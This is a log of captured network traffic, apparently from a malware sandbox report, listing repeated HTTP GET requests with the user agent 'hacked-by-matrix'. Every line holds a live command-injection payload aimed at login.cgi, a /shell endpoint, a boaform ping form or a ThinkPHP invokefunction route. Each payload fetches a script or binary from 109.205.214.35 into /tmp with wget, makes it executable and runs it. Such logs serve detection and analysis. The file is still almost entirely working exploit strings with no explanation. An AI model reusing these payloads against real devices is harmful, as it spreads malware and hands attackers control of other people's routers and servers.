Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
